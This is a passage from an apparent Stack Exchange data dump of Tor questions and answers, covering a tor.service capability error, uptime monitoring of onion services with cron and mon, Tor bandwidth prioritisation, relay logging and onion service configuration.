wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 14 15:59:02 HOST tor[9339]: Nov 14 15:59:02.237 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Nov 14 15:59:02 HOST tor[9339]: Configuration was valid&#xA;Nov 14 15:59:02 HOST systemd[1]: Started Anonymizing overlay network for TCP.&#xA;Nov 14 15:59:02 HOST audit[1]: SERVICE_START pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tor comm=&amp;quot;systemd&amp;quot; exe=&amp;quot;/usr/lib/systemd/systemd&amp;quot; hostname=? addr=? terminal=? res=success'&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.259 [notice] Tor 0.4.4.5 running on Linux with Libevent 2.1.12-stable, OpenSSL 1.1.1h, Zlib 1.2.11, Liblzma 5.2.5, and Libzstd 1.4.5.&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.259 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.259 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.262 [warn] You appear to lack permissions to change memory limits. Are you root?&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.262 [warn] Unable to raise RLIMIT_MEMLOCK: Operation not permitted&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.262 [notice] Unable to lock all current and future memory pages: Cannot allocate memory&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.262 [warn] Failed to parse/validate config: DisableAllSwap failure. Do you have proper permissions?&#xA;Nov 14 15:59:02 HOST tor[9340]: Nov 14 15:59:02.262 [err] Reading config failed--see warnings above.&#xA;Nov 14 15:59:02 HOST systemd[1]: tor.service: Main process exited, code=exited, status=1/FAILURE&#xA;Nov 14 15:59:02 HOST systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;Nov 14 15:59:02 HOST audit[1]: SERVICE_STOP pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tor comm=&amp;quot;systemd&amp;quot; exe=&amp;quot;/usr/lib/systemd/systemd&amp;quot; hostname=? addr=? terminal=? res=failed'&#xA;Nov 14 15:59:02 HOST systemd[1]: tor.service: Scheduled restart job, restart counter is at 5.&#xA;Nov 14 15:59:02 HOST systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;Nov 14 15:59:02 HOST audit[1]: SERVICE_START pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tor comm=&amp;quot;systemd&amp;quot; exe=&amp;quot;/usr/lib/systemd/systemd&amp;quot; hostname=? addr=? terminal=? res=success'&#xA;Nov 14 15:59:02 HOST audit[1]: SERVICE_STOP pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tor comm=&amp;quot;systemd&amp;quot; exe=&amp;quot;/usr/lib/systemd/systemd&amp;quot; hostname=? addr=? terminal=? res=success'&#xA;Nov 14 15:59:02 HOST systemd[1]: tor.service: Start request repeated too quickly.&#xA;Nov 14 15:59:02 HOST systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;Nov 14 15:59:02 HOST systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Before everything worked well for my couple of client-apps using system proxy 127.0.0.1 and default config localhost port bind on 9050: namely Firefox v82.0.3 and a chat-client.&lt;/p&gt;&#xA;&lt;p&gt;Here is &lt;em&gt;&lt;strong&gt;what I have configured&lt;/strong&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /etc/tor/torrc | sed -n '/^[^#]/p'&#xA;SOCKSPort 9050      # Default&#xA;TestSocks 1&#xA;SocksPolicy accept 192.168.0.0/16&#xA;Log notice file /var/log/tor/notices.log&#xA;DataDirectory /var/lib/tor&#xA;ControlPort 9051&#xA;HashedControlPassword 16:............................................&#xA;CookieAuthentication 1   # New&#xA;CookieAuthFile /var/lib/tor/control_auth_cookie  # New&#xA;CookieAuthFileGroupReadable 1   # New&#xA;DataDirectoryGroupReadable 1    # New&#xA;DisableAllSwap 1     # New&#xA;User tor             # New   &#xA;ExitNodes {dk},{..},....   # list includes 9 countries in total&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &amp;quot;# New comments above indicate the new setting I tries when troubleshooting.  They were not part of the setup initially, i.e. prior to my kernel update, when everything worked fine.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /usr/lib/systemd/system/tor.service&#xA;[Unit]&#xA;Description=Anonymizing overlay network for TCP&#xA;After=syslog.target network.target nss-lookup.target&#xA;&#xA;[Service]&#xA;NotifyAccess=all&#xA;ExecStartPre=/usr/bin/tor -f /etc/tor/torrc --verify-config&#xA;ExecStart=/usr/bin/tor -f /etc/tor/torrc&#xA;ExecReload=/bin/kill -HUP ${MAINPID}&#xA;KillSignal=SIGINT&#xA;TimeoutSec=60&#xA;Restart=on-failure&#xA;WatchdogSec=1m&#xA;LimitNOFILE=32768&#xA;User=root&#xA;Group=root&#xA;#Type=notify&#xA;Type=simple&#xA;&#xA;# Hardening&#xA;PrivateTmp=yes&#xA;PrivateDevices=yes&#xA;ProtectHome=yes&#xA;ProtectSystem=full&#xA;ReadOnlyDirectories=/&#xA;ReadWriteDirectories=-/var/lib/tor&#xA;ReadWriteDirectories=-/var/log/tor&#xA;NoNewPrivileges=yes&#xA;CapabilityBoundingSet=CAP_SETUID CAP_SETGID CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH&#xA;&#xA;[Install]&#xA;WantedBy=multi-user.target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the various permission and ownership for various files are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ls -lAF /var/lib | grep tor&#xA;drwxr-x---  3 tor     tor      4096 20201114-155218 tor/&#xA;$ ls -lAF /var/lib/* | grep -e &amp;quot;tor[ :] &amp;quot;&#xA;/var/lib/tor:&#xA;   20 -rw-r----- 1 tor tor    20442 20201030-165058 cached-certs&#xA; 2236 -rw------- 1 tor tor  2286299 20201114-155145 cached-microdesc-consensus&#xA;10416 -rw-r----- 1 tor tor 10662998 20201102-152622 cached-microdescs&#xA; 2664 -rw-r----- 1 tor tor  2724664 20201114-155146 cached-microdescs.new&#xA;    4 drwx------ 2 tor tor     4096 20180524-182000 keys/&#xA;    0 -rw------- 1 tor tor        0 20201114-155143 lock&#xA;   20 -rw------- 1 tor tor    18004 20201114-155218 state &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally I made sure that I had the proper user added to the &lt;code&gt;tor&lt;/code&gt; group:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo usermod -a -G tor myuser&#xA;$ newgrp tor&#xA;$ cat /etc/group | grep &amp;quot;tor:&amp;quot;&#xA;tor:x:43:myuser&#xA;# sudo systemctl daemon-reload&#xA;# sudo systemctl restart tor.service&#xA;$ systemctl status tor.service&#xA;...   ***same as before, no change***&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't grok the journal log bit about not being allowed to modify &lt;em&gt;memory limits&lt;/em&gt; and have not found any doc on that. I strongly suspect the previous line, &lt;code&gt;Unable to raise RLIMIT_MEMLOCK&lt;/code&gt;, is the key. It would be consistent with a CAPABILITY issue. How could that even happen, I am not sure, but it looks like something got broken along my merry way when updating my kernel ...&lt;/p&gt;&#xA;&lt;p&gt;Could somebody give me an opinion ?&lt;/p&gt;&#xA;" OwnerUserId="12719" LastEditorUserId="12719" LastEditDate="2020-11-15T18:51:56.980" LastActivityDate="2021-05-14T18:53:59.907" Title="Linux tor.service fails with &quot;Unable to raise RLIMIT_MEMLOCK&quot; at boot" Tags="|help|linux|error|client|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21715" PostTypeId="1" CreationDate="2020-11-14T22:28:58.803" Score="1" ViewCount="404" Body="&lt;p&gt;How can I monitor the uptime of my website's tor hidden service endpoint so I get an immediate notification if it goes offline? Bonus points for fancy monthly/yearly uptime reports.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to make my website accessible over a tor onion service so it's securely accessible to tor users. I'll probably rarely access my site over its .onion address, so it's especially important that I have monitoring software in-place to notify me if/when the site becomes inaccessible over Tor.&lt;/p&gt;&#xA;&lt;p&gt;My entire infrastructure consists of exactly 1 server. It doesn't make sense to have the monitoring software run on the same server it's monitoring, so I currently use a SaaS service for monitoring my websites (pingdom/statuscake/cula/UptimeRobot/better uptime/etc).&lt;/p&gt;&#xA;&lt;p&gt;How can I monitor my onion service so I receive an alert if it goes down? Are there any popular monitoring SaaS tools that support monitoring websites that are run as tor onion services?&lt;/p&gt;&#xA;" OwnerUserId="31208" LastActivityDate="2021-03-14T16:46:01.177" Title="Website Monitoring of Tor Onion Services" Tags="|onion-services|debian|website|server-administration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21716" PostTypeId="2" ParentId="21715" CreationDate="2020-11-14T22:30:04.367" Score="1" Body="&lt;p&gt;I don't know of any uptime SaaS providers that support monitoring websites on their onion service endpoints.&lt;/p&gt;&#xA;&lt;h2&gt;cron&lt;/h2&gt;&#xA;&lt;p&gt;Until that day comes (as it's hard to think of a reason why any admins &lt;em&gt;shouldn't&lt;/em&gt; make their websites accessible at a &lt;code&gt;.onion&lt;/code&gt; address--which benefits the privacy of their visitors), a simple solution is just to spin up a small micro sever (such as the &amp;quot;always free&amp;quot; server in google's cloud) that does a simple curl over tor every 1 minute and sends an email alert if curl exits non-zero.&lt;/p&gt;&#xA;&lt;p&gt;For example, if you want to monitor &lt;a href=&quot;https://onion.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject.org's onion service&lt;/a&gt; (qrmfuxwgyzk5jdjz.onion):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;user@disp9739:~$ curl -IL --socks5-hostname 127.0.0.1:9050 http://qrmfuxwgyzk5jdjz.onion/&#xA;HTTP/1.1 200 OK&#xA;Date: Fri, 13 Nov 2020 15:16:44 GMT&#xA;Server: Apache&#xA;Content-Location: index.html.en&#xA;Vary: negotiate,accept-language,Accept-Encoding&#xA;TCN: choice&#xA;X-Content-Type-Options: nosniff&#xA;X-Frame-Options: sameorigin&#xA;X-Xss-Protection: 1&#xA;Referrer-Policy: no-referrer&#xA;Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';&#xA;Last-Modified: Fri, 13 Nov 2020 15:12:24 GMT&#xA;ETag: &amp;quot;3cec-5b3fe74ab4600&amp;quot;&#xA;Accept-Ranges: bytes&#xA;Content-Length: 15596&#xA;Cache-Control: max-age=3600&#xA;Expires: Fri, 13 Nov 2020 16:16:44 GMT&#xA;Content-Type: text/html&#xA;Content-Language: en&#xA;&#xA;user@disp9739:~$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're running debian, then you can execute the following commands to create a simple cron job that will monitor your website:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor curl mailutils&#xA;cat &amp;gt; /etc/cron.d/tor-hidden-service-monitoring &amp;lt;&amp;lt;'EOF'&#xA;* * * * * root url='http://qrmfuxwgyzk5jdjz.onion/'; curl -IL --socks5-hostname 127.0.0.1:9050 &amp;quot;${url}&amp;quot; || echo &amp;quot;Unable to access ${url}&amp;quot; | mail -s &amp;quot;ALERT: hidden service inaccessible&amp;quot; youremail@example.com&#xA;EOF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above commands will install &lt;code&gt;tor&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, and the &lt;code&gt;mail&lt;/code&gt; command and create a simple cron job that will attempt to access &lt;code&gt;http://qrmfuxwgyzk5jdjz.onion/&lt;/code&gt; every &lt;code&gt;1 minute&lt;/code&gt; and email &lt;code&gt;youremail@example.com&lt;/code&gt; if it fails.&lt;/p&gt;&#xA;&lt;h2&gt;mon&lt;/h2&gt;&#xA;&lt;p&gt;To reduce false-positive email alerts, you could use &lt;code&gt;mon&lt;/code&gt; to only trigger an alert after multiple consecutive queries fail.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor torsocks mon&#xA;&#xA;cat &amp;gt; /usr/lib/mon/mon.d/torsocks_http.monitor &amp;lt;&amp;lt;'EOF'&#xA;#!/bin/bash&#xA;################################################################################&#xA;# File:    torsocks_http.monitor&#xA;# Version: 0.1&#xA;# Purpose: Wraps the http.monitor script with torsocks to monitor .onion sites&#xA;#  https://tech.michaelaltfield.net/monitoring-tor-onion-websites-uptime-alerts&#xA;# Authors: Michael Altfield &amp;lt;michael@michaelaltfield.net&amp;gt;&#xA;# Created: 2021-03-12&#xA;# Updated: 2021-03-12&#xA;################################################################################&#xA; &#xA;export DIR_PATH=`dirname ${0}`&#xA;exec /usr/bin/torsocks --isolate ${DIR_PATH}/http.monitor -t 60 &amp;quot;$@&amp;quot;&#xA; &#xA;EOF&#xA;&#xA;hostgroup torproject_onion qrmfuxwgyzk5jdjz.onion&#xA; &#xA;watch torproject_onion&#xA;        service http&#xA;                interval 5m&#xA;                monitor torsocks_http.monitor&#xA;                period &#xA;                        alertafter 10&#xA;                        alertevery 1h strict&#xA;                        alert mail.alert youremail@example.com&#xA;                        upalert mail.alert youremail@example.com&#xA;&#xA;systemctl restart mon.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Tor2Web&lt;/h2&gt;&#xA;&lt;p&gt;Finally, you can also use Tor2Web to create a clearnet proxy to your .onion site, then point your existing uptime monitoring IaaS tool at it.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tor2web/Tor2web&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/tor2web/Tor2web&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Source&lt;/h1&gt;&#xA;&lt;p&gt;The above solutions were originally published in the following article titled &lt;a href=&quot;https://tech.michaelaltfield.net/2021/03/12/monitoring-tor-onion-websites-uptime-alerts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Monitoring Tor .onion Websites (uptime alerts)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tech.michaelaltfield.net/2021/03/12/monitoring-tor-onion-websites-uptime-alerts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tech.michaelaltfield.net/2021/03/12/monitoring-tor-onion-websites-uptime-alerts/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31208" LastEditorUserId="31208" LastEditDate="2021-03-14T16:46:01.177" LastActivityDate="2021-03-14T16:46:01.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21717" PostTypeId="2" ParentId="21714" CreationDate="2020-11-15T10:37:31.333" Score="1" Body="&lt;p&gt;The &lt;code&gt;tor.service&lt;/code&gt; is normally run as a non-privileged process (i.e. the process' owner's UID is not 0).  This is true unless (as is the case here) the flag &lt;code&gt;DisableAllSwap&lt;/code&gt; is set to 1 (default is 0) in which case the process must be started as &lt;code&gt;root&lt;/code&gt; (see service unit file) and later passed on to user &lt;code&gt;tor&lt;/code&gt; (see file &lt;code&gt;etc/tor/torrc&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;No matter, for both configurations the service will start and remain active, provided you add &lt;code&gt;CAP_SYS_RESOURCE&lt;/code&gt; to your &lt;code&gt;CapabilityBoundingSet&lt;/code&gt; flag in unit file: &lt;code&gt;/usr/lib/systemd/system/tor.service&lt;/code&gt;.  This is the requirement for the &lt;code&gt;tor.service&lt;/code&gt; process owned by  user &lt;code&gt;tor&lt;/code&gt; to be able to negotiate the memory resources it needs.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CapabilityBoundingSet=CAP_SYS_RESOURCE CAP_SETUID CAP_SETGID&#xA;CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;CapabilityBoundingSet&lt;/code&gt; controls which capabilities to include for the executed process. Adding &lt;code&gt;CAP_SYS_RESOURCE&lt;/code&gt; allows the non-privileged process to increase ressource limits (see &lt;a href=&quot;https://man7.org/linux/man-pages/man2/setrlimit.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;setrlimit(2)&lt;/a&gt;). For more info, see the &lt;code&gt;capabilities(7)&lt;/code&gt; manpage.&lt;/p&gt;&#xA;" OwnerUserId="12719" LastEditorUserId="12719" LastEditDate="2020-11-15T20:10:05.287" LastActivityDate="2020-11-15T20:10:05.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21718" PostTypeId="1" AcceptedAnswerId="21726" CreationDate="2020-11-15T10:58:22.687" Score="0" ViewCount="684" Body="&lt;p&gt;I have an hidden service hosted on port 8080 (cause port 80 is busy on another service) and I'd like to allow people visit it through web proxies like onion.sh.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I have no idea on how to use different ports on clearnet proxies like onion.sh.&lt;/p&gt;&#xA;&lt;p&gt;The hidden service is created with a docker cause I'm not really into it, but if there are better ways I'm here to learn (only requirement: I need at least a full lamp stack on the hidden service)&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="31211" LastActivityDate="2020-11-16T07:59:23.387" Title="Host a hidden service on a different port and access from clearnet" Tags="|onion-services|onion-routing|web-proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21720" PostTypeId="1" AcceptedAnswerId="21725" CreationDate="2020-11-15T16:15:55.257" Score="0" ViewCount="128" Body="&lt;p&gt;Is there some sort of limitation/throttling logic at all? And if so, is it based on the tor client instance, connection or IP address?&lt;/p&gt;&#xA;&lt;p&gt;What if I download a file over HTTP and download the first half and second half separately? Would this have an impact on my download speed? Would it make a difference if I used the same TOR client instance, same IP address or same tor connection?&lt;/p&gt;&#xA;&lt;p&gt;E.g. download a file with two HTTP connections over a TOR client running on port 9050:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;aria2c -x 2 --all-proxy=127.0.0.1:9050 https://i.imgur.com/z4d4kWk.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or one TOR client instance running on port 9050 and another one running on port 9051.&lt;br /&gt;&#xA;Then downloading the first half using the first instance:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -s --socks5-hostname 127.0.0.1:9050 https://i.imgur.com/z4d4kWk.jpg -i -H &amp;quot;Range: bytes=0-73257&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;while simultaneously downloading the second file using the second TOR instance:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -s --socks5-hostname 127.0.0.1:9051 https://i.imgur.com/z4d4kWk.jpg -i -H &amp;quot;Range: bytes=73256-146514&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Would any of these have an advantage in terms of download speeds over a simple single-connection HTTP download:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -s --socks5-hostname 127.0.0.1:9051 https://i.imgur.com/z4d4kWk.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28025" LastActivityDate="2020-11-16T06:07:28.797" Title="How does TOR divide bandwidth fairly between clients?" Tags="|bandwidth|speed|traffic-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21721" PostTypeId="1" CreationDate="2020-11-15T20:33:27.047" Score="1" ViewCount="885" Body="&lt;p&gt;I research tor, and have some question bout it.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can relay node know which entry node transferred certain traffic? Or can't, cause tor uses ephemeral encryption and after circuit ends, keys removed, in case relay-node doesn't sniff traffic, and define, what entry node transferred traffic, impossible?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does relay node save date, what entry nodes transferred certain traffic and to what exit nodes in certain time, does relay-node logs connections? And same about entry nodes. If all 3 tor nods in circuit sniff traffic, might it find sender of certain traffic in this case?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there some possibilities to log and keep traffic on relay and entry nodes? Software, etc?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31218" LastActivityDate="2020-12-16T00:07:00.670" Title="Do relay and entry nodes keep logs?" Tags="|relays|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21722" PostTypeId="1" CreationDate="2020-11-15T21:54:08.767" Score="3" ViewCount="2900" Body="&lt;p&gt;When I visit a specific webpage with Tor, I received the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;406 Not Acceptable &lt;br /&gt;&#xA;openresty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Does anybody understand what this means and how I can get around it? I do not receive this error when I use a regular web browser to visit the page.&lt;/p&gt;&#xA;&lt;p&gt;The page in question is this one: &lt;a href=&quot;https://submit.shutterstock.com/?language=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://submit.shutterstock.com/?language=en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31219" LastEditorUserId="88" LastEditDate="2020-11-15T22:25:51.880" LastActivityDate="2020-12-15T23:00:45.113" Title="Shutterstock sends &quot;406 Not Acceptable&quot;" Tags="|configuration|blocked-services|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21723" PostTypeId="2" ParentId="21721" CreationDate="2020-11-15T22:03:21.873" Score="1" Body="&lt;p&gt;Each relay only knows the two adjacent clients/servers on a circuit. So the guard sees the client and middle, but not the exit. The middle sees the guard and exit, but not the client. The exit sees the middle and the destination server. A single relay should never be able to link the client to the destination server.&lt;/p&gt;&#xA;&lt;p&gt;The tor software does not log connections or traffic, but it is possible for a malicious relay operator to modify or monitor tor and log this information. This is why Tor circuits use three hops, so that it's unlikely that all three relays will be owned by the same operator and logging connections/traffic. If all three relays were malicious and owned by the same person, then theoretically yes they could know which websites the client accessed.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-15T22:03:21.873" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21724" PostTypeId="2" ParentId="21722" CreationDate="2020-11-15T22:24:48.737" Score="1" Body="&lt;p&gt;I also tried to open the &lt;a href=&quot;https://submit.shutterstock.com/?language=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shutterstock&lt;/a&gt; site and got the same error message. Furthermore I used several different exit relays. All resulting in the same message.&lt;/p&gt;&#xA;&lt;p&gt;So I assume they block the Tor network. Also the message &amp;quot;406 Not Acceptable&amp;quot; indicates it.&lt;/p&gt;&#xA;&lt;p&gt;You can try to reach out to them and ask why they're blocking the network. Sometimes companies lift the blocking measures when one discusses with them. Otherwise you won't have much chance to opn the page with Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-11-15T22:24:48.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21725" PostTypeId="2" ParentId="21720" CreationDate="2020-11-16T06:07:28.797" Score="1" Body="&lt;p&gt;Tor doesn't use per-user prioritization because this is very difficult to do in an anonymity network. Instead each relay uses per-circuit prioritization. The main use-case for Tor is interactive web applications such as web browsing, so Tor uses &lt;a href=&quot;https://www.cypherpunks.ca/%7Eiang/pubs/ewma-ccs.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;EWMA circuit prioritization&lt;/a&gt; to prioritize &amp;quot;bursty&amp;quot; circuits for interactive applications rather than large downloads. This means that lower-use circuits are prioritized by relays over bulk downloads.&lt;/p&gt;&#xA;&lt;p&gt;In addition to prioritization, Tor also uses flow control to limit the amount of in-flight data (the amount of data in the network at once). This flow control uses Relay{Sendme} cells. Tor limits circuits to 1000 in-flight cells (about 500 KiB), and streams to 500 in-flight cells (250 KiB). This means that the maximum throughput of a circuit/stream depends on its latency.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What if I download a file over HTTP and download the first half and second half separately? Would this have an impact on my download speed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, your download speed would increase since you're downloading these halves using two different streams (each would be able to have 250 KiB of in-flight data). If using more than two downloads, you would want to use different circuits since circuits are limited to 500 KiB of in-flight data.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Would it make a difference if I used the same TOR client instance, same IP address or same tor connection?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Using different Tor clients may make your total download speed worse since the second Tor client would be using a different guard relay. Since the total download speed will be limited by the slowest of the two halves, there is a possibility that your second Tor client will use a slower guard relay, increasing your download time. If your second Tor client uses a faster guard relay, it doesn't matter since you're still limited by the download speed of the first Tor client. The only time when two Tor clients might help is if you're using a really bad guard that becomes overwhelmed by a single download.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Would any of these have an advantage in terms of download speeds over a simple single-connection HTTP download:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Downloading chunks in parallel should improve the download speed. Running two Tor clients does not help, what's important is the number of circuits. Once you try to make 3 or more downloads through a single circuit, your total download speed will hit a ceiling. If you want to force downloads to use different circuits, use different SOCKS usernames so that Tor will isolate the streams.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-16T06:07:28.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21726" PostTypeId="2" ParentId="21718" CreationDate="2020-11-16T07:59:23.387" Score="0" Body="&lt;p&gt;As I understand, port 80 is blocked by another, unrelated service you can't or won't change. But are you able to change the config of that service? So you could set it to bind only to your clearnet ip port 80 (and not all interfaces / at least not localhost), so that you can set your onion service to listen on localhost port 80 and then configure Tor to relay your onion service to localhost:80 (assuming tor and your onion service run on the same machine / within the same container).&#xA;That way, you would have both at port 80, but at different interfaces.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2020-11-16T07:59:23.387" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21727" PostTypeId="1" AcceptedAnswerId="21728" CreationDate="2020-11-16T19:12:36.743" Score="0" ViewCount="438" Body="&lt;p&gt;Is it possible to host a hidden service with a v2 onion address using Tor 0.4.1.5, and if so how?&lt;/p&gt;&#xA;&lt;p&gt;I have to use a tor client that has not yet been updated to use v3 onion addresses. I have tried to host my hidden service to use both v2 and v3 by having the following lines in my torrc, but both addresses end up being v3.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/hsv3&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;HiddenServiceVersion 2&#xA;HiddenServiceDir /var/lib/tor/hidden_service/hsv2&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31228" LastEditorUserId="31228" LastEditDate="2020-11-16T19:44:50.287" LastActivityDate="2020-11-16T20:49:22.237" Title="Is it possible to host a hidden service with a v2 onion address using Tor 0.4.1.5, and if so how?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21728" PostTypeId="2" ParentId="21727" CreationDate="2020-11-16T20:49:22.237" Score="0" Body="&lt;p&gt;Onion service options apply to the earlier/previous &lt;code&gt;HiddenServiceDir&lt;/code&gt; option, so I would expect your &lt;code&gt;hsv3&lt;/code&gt; address to be v2, and your &lt;code&gt;hsv2&lt;/code&gt; to be v3.&lt;/p&gt;&#xA;&lt;p&gt;You should move the &lt;code&gt;HiddenServiceVersion 2&lt;/code&gt; line after your &lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/hsv2&lt;/code&gt; line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/hsv3&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service/hsv2&#xA;HiddenServiceVersion 2&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that v2 onion addresses are deprecated and will be removed from the network in the near future.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-16T20:49:22.237" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
